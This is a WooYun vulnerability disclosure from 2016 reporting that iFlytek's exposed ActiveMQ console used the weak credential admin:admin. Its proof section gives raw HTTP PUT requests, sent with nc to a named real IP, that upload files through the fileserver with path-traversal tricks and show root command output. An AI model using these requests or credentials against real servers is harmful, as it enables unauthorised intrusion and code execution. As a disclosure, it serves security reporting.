当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0210455

漏洞标题：科大讯飞ActiveMQ管理弱口令可导致命令执行

相关厂商：iflytek.com

漏洞作者： 猪猪侠

提交时间：2016-05-19 11:57

修复时间：2016-07-03 14:20

公开时间：2016-07-03 14:20

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-19： 细节已通知厂商并且等待厂商处理中
2016-05-19： 厂商已经确认，细节仅向厂商公开
2016-05-29： 细节向核心白帽子及相关领域专家公开
2016-06-08： 细节向普通白帽子公开
2016-06-18： 细节向实习白帽子公开
2016-07-03： 细节向公众公开

简要描述：

科大讯飞ActiveMQ管理弱口令可导致命令执行
http://zone.wooyun.org/content/26827

详细说明：

#1 漏洞网站， ActiveMQ对外开放
http://117.121.50.210:8161/admin/
http://ai.iflytek.com:8161/admin/
#2 弱口令
管理控制台的密码是 admin:admin
#3 对应系统
访问，http://117.121.50.210 跳转到 www.xfyun.cn
#4 ActiveMQ 提供了一个fileserver功能，支持RESTful file access
具体的利用细节，参考：http://zone.wooyun.org/content/26827

漏洞证明：

nc 117.121.50.210 8161
PUT /fileserver/shell.txt HTTP/1.0
Content-Length: 27
Host: 117.121.50.210:8161
Connection: Close
Authorization: Basic YWRtaW46YWRtaW4=
this is shell


xf.png


PUT /fileserver/%2F%2F2%083.jsp HTTP/1.0
Content-Length: 27
Host: 117.121.50.210:8161
Connection: Close
Authorization: Basic YWRtaW46YWRtaW4=
123123123123123123123123123


路径：/fileserver/3.jsp

PUT /fileserver/a../%08/...%08/.%08/%08admin/3.jsp HTTP/1.0
Content-Length: 27
Host: 117.121.50.210:8161
Connection: Close
Authorization: Basic YWRtaW46YWRtaW4=
123123123123123123123123123


路径：/fileserver/a../../admin/3.jsp
# 这里要用其它方法拿shell 或者 CVE-2016-3088
$ pwd
/usr/local/activemq/activemq/webapps/fileserver/
$ whoami
root
$ hostname
bj-web

修复方案：

# 禁止对外网开放

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2016-05-19 14:13

厂商回复：

感谢大神关注

最新状态：

暂无